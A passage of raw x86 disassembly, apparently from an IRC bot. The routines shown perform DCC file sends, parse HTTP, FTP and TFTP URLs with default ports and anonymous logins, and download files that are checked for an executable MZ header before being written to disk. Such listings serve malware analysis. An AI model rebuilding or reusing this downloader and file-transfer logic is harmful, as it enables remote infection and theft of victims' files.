		call	sub_4096CB
		add	esp, 14h
		call	sub_4114E2	; clock
		mov	ebx, dword_412258
		mov	[ebp+var_4], esi
		push	esi
		mov	[ebp+arg_0], eax
		mov	esi, 200h
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		push	[ebp+var_C]

loc_401A71:				; CODE XREF: sub_401985+14Bj
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_401AD2
		cmp	edi, esi
		ja	short loc_401AD2
		add	[ebp+var_4], edi
		push	[ebp+var_4]
		call	dword_41225C	; htonl
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	[ebp+var_C]
		call	sub_403D9D
		push	[ebp+var_10]
		lea	eax, [ebp+var_5E8]
		push	edi
		push	1
		push	eax
		call	sub_4114FA	; fwrite
		add	esp, 1Ch
		cmp	edi, esi
		jb	short loc_401AD2
		mov	eax, [ebp+var_3E8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_401B5A
		push	0
		lea	eax, [ebp+var_5E8]
		push	esi
		push	eax
		push	[ebp+var_C]
		jmp	short loc_401A71
; ---------------------------------------------------------------------------

loc_401AD2:				; CODE XREF: sub_401985+F2j
					; sub_401985+F6j ...
		push	[ebp+var_10]
		call	sub_4114F4	; ftell
		pop	ecx
		mov	esi, eax
		call	sub_4114E2	; clock
		cmp	[ebp+arg_0], eax
		jnz	short loc_401AF0
		call	sub_4114E2	; clock
		dec	eax
		mov	[ebp+arg_0], eax

loc_401AF0:				; CODE XREF: sub_401985+160j
		mov	eax, esi
		mov	ecx, 400h
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fstp	[ebp+var_4]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	flt_412280
		fdivr	[ebp+var_4]
		fstp	[esp+5FCh+var_5FC]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_3E4]
		fild	[ebp+arg_0]
		fmul	flt_412280
		fstp	[esp+604h+var_604]
		push	eax
		lea	eax, [ebp+var_3C3]
		push	eax
		lea	eax, [ebp+var_1B5]
		push	offset dword_413234
		push	eax
		call	sub_4096CB
		add	esp, 20h

loc_401B5A:				; CODE XREF: sub_401985+138j
		push	[ebp+var_10]
		call	sub_411500	; fclose
		push	[ebp+var_C]
		call	sub_403D70
		push	[ebp+var_3E8]
		call	sub_406E6F
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	ebx

loc_401B7C:				; CODE XREF: sub_401985+99j
		pop	esi
		leave
		retn	4
sub_401985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B81	proc near		; DATA XREF: sub_401FA3+65o

var_A1C		= qword	ptr -0A1Ch
var_A14		= qword	ptr -0A14h
var_A00		= byte ptr -0A00h
var_5FC		= byte ptr -5FCh
var_3FC		= byte ptr -3FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2D3		= byte ptr -2D3h
var_2D2		= byte ptr -2D2h
var_1CF		= byte ptr -1CFh
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A00h
		push	ebx
		push	esi
		push	edi
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_2D3]
		push	eax
		call	sub_4114BE	; strlen
		xor	esi, esi
		add	esp, 14h
		cmp	eax, esi
		jz	short loc_401BCB

loc_401BBE:				; CODE XREF: sub_401B81+48j
		cmp	[ebp+eax+var_2D3], 5Ch
		jz	short loc_401BD3
		dec	eax
		jnz	short loc_401BBE

loc_401BCB:				; CODE XREF: sub_401B81+3Bj
		lea	eax, [ebp+var_2D3]
		jmp	short loc_401BDA
; ---------------------------------------------------------------------------

loc_401BD3:				; CODE XREF: sub_401B81+45j
		lea	eax, [ebp+eax+var_2D2]

loc_401BDA:				; CODE XREF: sub_401B81+50j
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		lea	eax, [ebp+var_8]
		pop	ecx
		mov	[ebp+var_8], 10h
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4091A7
		push	eax
		call	dword_412250	; getsockname
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_A00]
		push	401h
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_2C]
		push	eax
		call	dword_419228
		test	eax, eax
		jz	short loc_401C32

loc_401C25:				; CODE XREF: sub_401B81+E3j
		push	[ebp+var_2F8]
		call	sub_406E6F
		jmp	short loc_401C91
; ---------------------------------------------------------------------------

loc_401C32:				; CODE XREF: sub_401B81+A2j
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		push	1388h
		push	400h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		lea	eax, [ebp+var_14]
		push	1
		push	eax
		call	sub_403644
		mov	edi, eax
		add	esp, 14h
		cmp	edi, esi
		mov	[ebp+var_1C], edi
		jz	short loc_401C25
		lea	eax, [ebp+var_2D3]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411506	; fopen
		mov	ebx, eax
		pop	ecx
		cmp	ebx, esi
		pop	ecx
		jnz	short loc_401C97
		push	edi
		call	sub_40392A
		push	[ebp+var_2F8]
		call	sub_406E6F
		pop	ecx

loc_401C91:				; CODE XREF: sub_401B81+AFj
		pop	ecx
		jmp	loc_401E9F
; ---------------------------------------------------------------------------

loc_401C97:				; CODE XREF: sub_401B81+FCj
		push	2
		push	esi
		push	ebx
		call	sub_411516	; fseek
		push	ebx
		call	sub_4114F4	; ftell
		push	esi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		call	sub_411516	; fseek
		add	esp, 1Ch
		lea	eax, [ebp+var_A00]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		push	eax
		call	sub_4095E7
		add	esp, 10h
		lea	eax, [ebp+var_14]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_A00]
		push	eax
		call	dword_412254	; inet_addr
		push	eax
		call	dword_41225C	; htonl
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_2F4]
		push	offset dword_413348
		push	eax
		call	sub_409659
		push	0EA60h
		push	edi
		call	sub_403767
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	loc_401E85
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E85
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		mov	eax, [ebp+var_2F8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1CF]
		push	offset dword_413320
		push	eax
		call	sub_4096CB
		call	sub_4114E2	; clock
		mov	esi, 200h
		mov	[ebp+arg_0], eax
		push	ebx
		push	esi
		lea	eax, [ebp+var_5FC]
		push	1
		push	eax
		call	sub_411510	; fread
		add	esp, 24h

loc_401D73:				; CODE XREF: sub_401B81+23Aj
		mov	edi, eax
		test	edi, edi
		jz	short loc_401DE1
		cmp	edi, esi
		ja	short loc_401DE1
		lea	eax, [ebp+var_5FC]
		push	edi
		push	eax
		push	[ebp+var_C]
		call	sub_403D9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401DBD
		cmp	edi, esi
		jb	short loc_401DE1
		mov	eax, [ebp+var_2F8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_401E5F
		push	ebx
		push	esi
		lea	eax, [ebp+var_5FC]
		push	1
		push	eax
		call	sub_411510	; fread
		add	esp, 10h
		jmp	short loc_401D73
; ---------------------------------------------------------------------------

loc_401DBD:				; CODE XREF: sub_401B81+211j
		lea	eax, [ebp+var_2F4]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_1CF]
		push	offset dword_4132F4
		push	eax
		call	sub_4096CB
		add	esp, 10h
		jmp	short loc_401E5F
; ---------------------------------------------------------------------------

loc_401DE1:				; CODE XREF: sub_401B81+1F6j
					; sub_401B81+1FAj ...
		call	sub_4114E2	; clock
		cmp	[ebp+arg_0], eax
		jnz	short loc_401DF4
		call	sub_4114E2	; clock
		dec	eax
		mov	[ebp+arg_0], eax

loc_401DF4:				; CODE XREF: sub_401B81+268j
		mov	eax, [ebp+var_4]
		mov	ecx, 400h
		cdq
		idiv	ecx
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fstp	[ebp+var_18]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	flt_412280
		fdivr	[ebp+var_18]
		fstp	[esp+0A14h+var_A14]
		call	sub_4114E2	; clock
		sub	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_2F4]
		fild	[ebp+arg_0]
		fmul	flt_412280
		fstp	[esp+0A1Ch+var_A1C]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_1CF]
		push	offset dword_4132B0
		push	eax
		call	sub_4096CB
		add	esp, 20h

loc_401E5F:				; CODE XREF: sub_401B81+221j
					; sub_401B81+25Ej
		push	[ebp+var_C]
		call	sub_403D70
		push	ebx
		call	sub_411500	; fclose
		push	[ebp+var_1C]
		call	sub_40392A
		push	[ebp+var_2F8]
		call	sub_406E6F
		add	esp, 10h
		jmp	short loc_401E9F
; ---------------------------------------------------------------------------

loc_401E85:				; CODE XREF: sub_401B81+19Cj
					; sub_401B81+1A5j
		push	ebx
		call	sub_411500	; fclose
		push	edi
		call	sub_40392A
		push	[ebp+var_2F8]
		call	sub_406E6F
		add	esp, 0Ch

loc_401E9F:				; CODE XREF: sub_401B81+111j
					; sub_401B81+302j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EA8	proc near		; CODE XREF: sub_409918+194p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		jz	loc_401F9E
		cmp	[ebp+arg_8], ebx
		jz	loc_401F9E
		cmp	[ebp+arg_C], ebx
		jz	loc_401F9E
		cmp	[ebp+arg_10], ebx
		jz	loc_401F9E
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_401F9E
		cmp	esi, 0FFFFh
		ja	loc_401F9E
		push	[ebp+arg_14]
		call	sub_41151C	; atoi
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_401F9E
		cmp	esi, 40000000h
		ja	loc_401F9E
		push	3D6h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_401F9E
		push	21h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D6	; strncpy
		push	104h
		lea	eax, [esi+25h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4114D6	; strncpy
		push	100h
		lea	eax, [esi+129h]
		push	[ebp+arg_C]
		push	eax
		call	sub_4114D6	; strncpy
		push	6
		lea	eax, [esi+229h]
		push	[ebp+arg_10]
		push	eax
		call	sub_4114D6	; strncpy
		push	1A3h
		lea	eax, [esi+233h]
		push	[ebp+arg_0]
		mov	[esi+22Fh], edi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 3Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41337C
		push	ebx
		push	esi
		push	offset sub_401985
		call	sub_406D58
		add	esp, 18h

loc_401F9E:				; CODE XREF: sub_401EA8+Bj
					; sub_401EA8+14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401FA3	proc near		; CODE XREF: sub_407A76+5FFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	short loc_402015
		cmp	[ebp+arg_8], 0
		jz	short loc_402015
		push	2CCh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402015
		push	21h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D6	; strncpy
		push	104h
		lea	eax, [esi+25h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4114D6	; strncpy
		push	1A3h
		lea	eax, [esi+129h]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 24h
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4133A0
		push	0
		push	esi
		push	offset sub_401B81
		call	sub_406D58
		add	esp, 18h

loc_402015:				; CODE XREF: sub_401FA3+8j
					; sub_401FA3+Ej ...
		pop	esi
		pop	ebp
		retn
sub_401FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402018	proc near		; CODE XREF: sub_402230+3CAp

var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		mov	ebx, 2710h
		push	edi
		push	ebx
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_403C04
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		mov	[ebp+arg_C], esi
		jz	loc_402226
		push	[ebp+arg_8]
		mov	edi, 401h
		lea	eax, [ebp+var_408]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	edi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		push	esi
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		push	esi
		call	sub_403DF6
		add	esp, 34h
		mov	[ebp+arg_10], eax
		test	eax, eax
		jz	loc_40221F
		cmp	eax, 0FFFFFFFFh
		jz	loc_40221F
		lea	eax, [ebp+var_408]
		push	offset asc_4133EC ; "\r\n\r\n"
		push	eax
		call	sub_411528	; strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	loc_40221A
		lea	eax, [ebp+var_408]
		push	offset aContentLength ;	"Content-Length: "
		push	eax
		add	esi, 4
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40221A
		cmp	eax, esi
		ja	loc_40221A
		and	[ebp+var_4], 0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset aContentLengthU ; "Content-Length: %u\r\n"
		push	eax
		call	sub_411522	; sscanf
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40221A
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	loc_40221A
		cmp	[ebp+arg_1C], 0
		jz	short loc_40212B
		cmp	ecx, 2
		jb	loc_40221A
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_40221A

loc_40212B:				; CODE XREF: sub_402018+FDj
		mov	eax, [ebp+arg_18]
		test	eax, eax
		jz	short loc_402134
		mov	[eax], ecx

loc_402134:				; CODE XREF: sub_402018+118j
		push	[ebp+arg_14]
		call	sub_4111BA
		test	eax, eax
		pop	ecx
		jnz	loc_40221A
		push	offset dword_4132AC
		push	[ebp+arg_14]
		call	sub_411506	; fopen
		pop	ecx
		mov	[ebp+arg_8], eax
		test	eax, eax
		pop	ecx
		jnz	short loc_40216D

loc_40215B:				; CODE XREF: sub_402018+1CFj
		xor	esi, esi

loc_40215D:				; CODE XREF: sub_402018+1E0j
		push	[ebp+arg_C]
		call	sub_403D70
		pop	ecx
		mov	eax, esi
		jmp	loc_402228
; ---------------------------------------------------------------------------

loc_40216D:				; CODE XREF: sub_402018+141j
		push	eax
		mov	eax, [ebp+arg_10]
		sub	eax, esi
		lea	eax, [ebp+eax+var_408]
		push	eax
		push	1
		push	esi
		call	sub_4114FA	; fwrite
		sub	esi, [ebp+arg_10]
		lea	eax, [ebp+var_408]
		add	esp, 10h
		sub	esi, eax
		add	[ebp+var_4], esi

loc_402194:				; CODE XREF: sub_402018+1C7j
		mov	eax, [ebp+arg_20]
		test	eax, eax
		jz	short loc_4021A1
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4021EC

loc_4021A1:				; CODE XREF: sub_402018+181j
		push	ebx
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		push	[ebp+arg_C]
		call	sub_403DF6
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jz	short loc_4021FD
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4021FD
		cmp	esi, [ebp+var_4]
		push	[ebp+arg_8]
		ja	short loc_4021E1
		push	esi
		lea	eax, [ebp+var_408]
		push	1
		push	eax
		call	sub_4114FA	; fwrite
		add	esp, 10h
		sub	[ebp+var_4], esi
		jz	short loc_4021EC
		jmp	short loc_402194
; ---------------------------------------------------------------------------

loc_4021E1:				; CODE XREF: sub_402018+1AEj
		call	sub_411500	; fclose
		pop	ecx
		jmp	loc_40215B
; ---------------------------------------------------------------------------

loc_4021EC:				; CODE XREF: sub_402018+187j
					; sub_402018+1C5j
		push	[ebp+arg_8]
		call	sub_411500	; fclose
		pop	ecx
		push	1
		pop	esi
		jmp	loc_40215D
; ---------------------------------------------------------------------------

loc_4021FD:				; CODE XREF: sub_402018+1A1j
					; sub_402018+1A6j
		push	[ebp+arg_8]
		call	sub_411500	; fclose
		push	[ebp+arg_C]
		call	sub_403D70
		pop	ecx
		pop	ecx
		push	[ebp+arg_14]
		call	dword_4120B8	; DeleteFileA
		jmp	short loc_402226
; ---------------------------------------------------------------------------

loc_40221A:				; CODE XREF: sub_402018+A3j
					; sub_402018+C1j ...
		push	[ebp+arg_C]
		jmp	short loc_402220
; ---------------------------------------------------------------------------

loc_40221F:				; CODE XREF: sub_402018+7Dj
					; sub_402018+86j
		push	esi

loc_402220:				; CODE XREF: sub_402018+205j
		call	sub_403D70
		pop	ecx

loc_402226:				; CODE XREF: sub_402018+29j
					; sub_402018+200j
		xor	eax, eax

loc_402228:				; CODE XREF: sub_402018+150j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402018	endp


; =============== S U B	R O U T	I N E =======================================



sub_40222D	proc near		; CODE XREF: sub_402230+415p
					; sub_402230+452p
		xor	eax, eax
		retn
sub_40222D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402230	proc near		; DATA XREF: sub_4027CB+9Fo

var_7EC		= qword	ptr -7ECh
var_7D4		= byte ptr -7D4h
var_6D0		= byte ptr -6D0h
var_5D0		= byte ptr -5D0h
var_4CC		= byte ptr -4CCh
var_4CB		= byte ptr -4CBh
var_44C		= byte ptr -44Ch
var_44B		= byte ptr -44Bh
var_3CC		= dword	ptr -3CCh
var_3C8		= byte ptr -3C8h
var_3C7		= byte ptr -3C7h
var_3C2		= byte ptr -3C2h
var_3C1		= byte ptr -3C1h
var_2C4		= byte ptr -2C4h
var_1C0		= byte ptr -1C0h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_33		= byte ptr -33h
var_26		= byte ptr -26h
var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7D4h
		push	ebx
		push	esi
		push	edi
		push	3AFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_7D4]
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	dl, byte_4191D0
		add	esp, 18h
		xor	eax, eax
		lea	edi, [ebp+var_4CB]
		push	1Fh
		mov	[ebp+var_4CC], dl
		pop	ecx
		mov	[ebp+var_44C], dl
		rep stosd
		stosw
		stosb
		push	1Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_44B]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_2C4]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_7D4]
		push	eax
		mov	eax, [ebp+var_3CC]
		mov	dword ptr [ebp+var_14+4], 1
		mov	[ebp+arg_0], ebx
		push	dword ptr [eax]
		lea	eax, [ebp+var_1C0]
		push	offset dword_4135CC
		push	eax
		call	sub_4096CB
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset dword_4135C4
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 20h
		test	eax, eax
		jnz	short loc_402347
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3C1]
		push	eax
		call	dword_412068	; CopyFileA
		test	eax, eax
		jnz	loc_402697
		call	dword_41206C	; RtlGetLastWin32Error
		cmp	eax, 20h
		jnz	short loc_40232E
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_41358C
		jmp	loc_40277E
; ---------------------------------------------------------------------------

loc_40232E:				; CODE XREF: sub_402230+E3j
		lea	eax, [ebp+var_3C1]
		push	eax
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset dword_41355C
		jmp	loc_40277E
; ---------------------------------------------------------------------------

loc_402347:				; CODE XREF: sub_402230+BBj
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	esi, eax

loc_402356:				; CODE XREF: sub_402230+136j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4023CD
		cmp	[ebp+esi+var_3C8], 3Ah
		jz	short loc_402368
		dec	esi
		jmp	short loc_402356
; ---------------------------------------------------------------------------

loc_402368:				; CODE XREF: sub_402230+133j
		cmp	[ebp+esi+var_3C7], bl
		push	1
		pop	edi
		jz	short loc_40239B
		mov	al, [ebp+esi+var_3C7]
		lea	ecx, [ebp+esi+var_3C8]

loc_402382:				; CODE XREF: sub_402230+169j
		cmp	al, 2Fh
		jz	short loc_40239B
		cmp	al, 30h
		jl	short loc_4023CD
		cmp	al, 39h
		jg	short loc_4023CD
		mov	byte ptr [ebp+edi+var_C+3], al
		mov	al, [ecx+edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402382

loc_40239B:				; CODE XREF: sub_402230+142j
					; sub_402230+154j
		lea	eax, [ebp+var_8]
		mov	byte ptr [ebp+edi+var_C+3], bl
		push	eax
		call	sub_4032A7
		test	eax, eax
		pop	ecx
		jz	short loc_4023CD
		add	edi, esi
		lea	eax, [ebp+edi+var_3C8]
		push	eax
		lea	eax, [ebp+esi+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 1
		pop	ecx

loc_4023CD:				; CODE XREF: sub_402230+129j
					; sub_402230+158j ...
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset aHttp	; "http://"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40241D
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4023FC
		lea	eax, [ebp+var_8]
		push	offset a80	; "80"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_4023FC:				; CODE XREF: sub_402230+1BAj
		lea	eax, [ebp+var_3C1]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 1
		pop	ecx
		jmp	loc_4024D9
; ---------------------------------------------------------------------------

loc_40241D:				; CODE XREF: sub_402230+1B5j
		push	6
		lea	eax, [ebp+var_3C8]
		push	offset aFtp	; "ftp://"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40248A
		cmp	[ebp+arg_0], ebx
		jnz	short loc_40244C
		lea	eax, [ebp+var_8]
		push	offset a21	; "21"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_40244C:				; CODE XREF: sub_402230+20Aj
		lea	eax, [ebp+var_3C2]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	esi, offset aAnonymous ; "anonymous"
		lea	eax, [ebp+var_4CC]
		push	esi
		push	eax
		mov	[ebp+arg_0], 2
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_44C]
		push	esi
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 18h
		jmp	short loc_4024D9
; ---------------------------------------------------------------------------

loc_40248A:				; CODE XREF: sub_402230+205j
		push	7
		lea	eax, [ebp+var_3C8]
		push	offset aTftp	; "tftp://"
		push	eax
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40279B
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4024BD
		lea	eax, [ebp+var_8]
		push	offset a69	; "69"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_4024BD:				; CODE XREF: sub_402230+27Bj
		lea	eax, [ebp+var_3C1]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		mov	[ebp+arg_0], 3
		pop	ecx

loc_4024D9:				; CODE XREF: sub_402230+1E8j
					; sub_402230+258j
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	esi, eax

loc_4024E8:				; CODE XREF: sub_402230+2C8j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40255C
		cmp	[ebp+esi+var_3C8], 40h
		jz	short loc_4024FA
		dec	esi
		jmp	short loc_4024E8
; ---------------------------------------------------------------------------

loc_4024FA:				; CODE XREF: sub_402230+2C5j
		lea	eax, [ebp+var_3C8]
		push	offset asc_413528 ; ":"
		push	eax
		mov	[ebp+esi+var_3C8], bl
		call	sub_411528	; strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	edi, 80h
		jz	short loc_402531
		mov	[eax], bl
		inc	eax
		push	edi
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch

loc_402531:				; CODE XREF: sub_402230+2EBj
		lea	eax, [ebp+var_3C8]
		push	edi
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+esi+var_3C7]
		push	eax
		lea	eax, [ebp+var_3C8]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 14h

loc_40255C:				; CODE XREF: sub_402230+2BBj
		lea	eax, [ebp+var_3C8]
		push	offset asc_413524 ; "/"
		push	eax
		call	sub_411528	; strstr
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_402587
		mov	eax, [ebp+var_3CC]
		push	dword ptr [eax]
		push	offset unk_4134F8
		jmp	loc_4027A8
; ---------------------------------------------------------------------------

loc_402587:				; CODE XREF: sub_402230+343j
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_3C8]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 10h
		call	sub_4114E2	; clock
		cmp	[ebp+arg_0], 1
		mov	dword ptr [ebp+var_1C+4], eax
		mov	[ebp+var_C], ebx
		jnz	short loc_402605
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_44C]
		push	eax
		lea	eax, [ebp+var_4CC]
		push	eax
		call	sub_402018
		add	esp, 24h
		mov	dword ptr [ebp+var_14+4], eax

loc_402605:				; CODE XREF: sub_402230+38Ej
		cmp	[ebp+arg_0], 2
		jnz	short loc_402650
		push	[ebp+var_3CC]
		xor	eax, eax
		cmp	[ebp+var_38], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
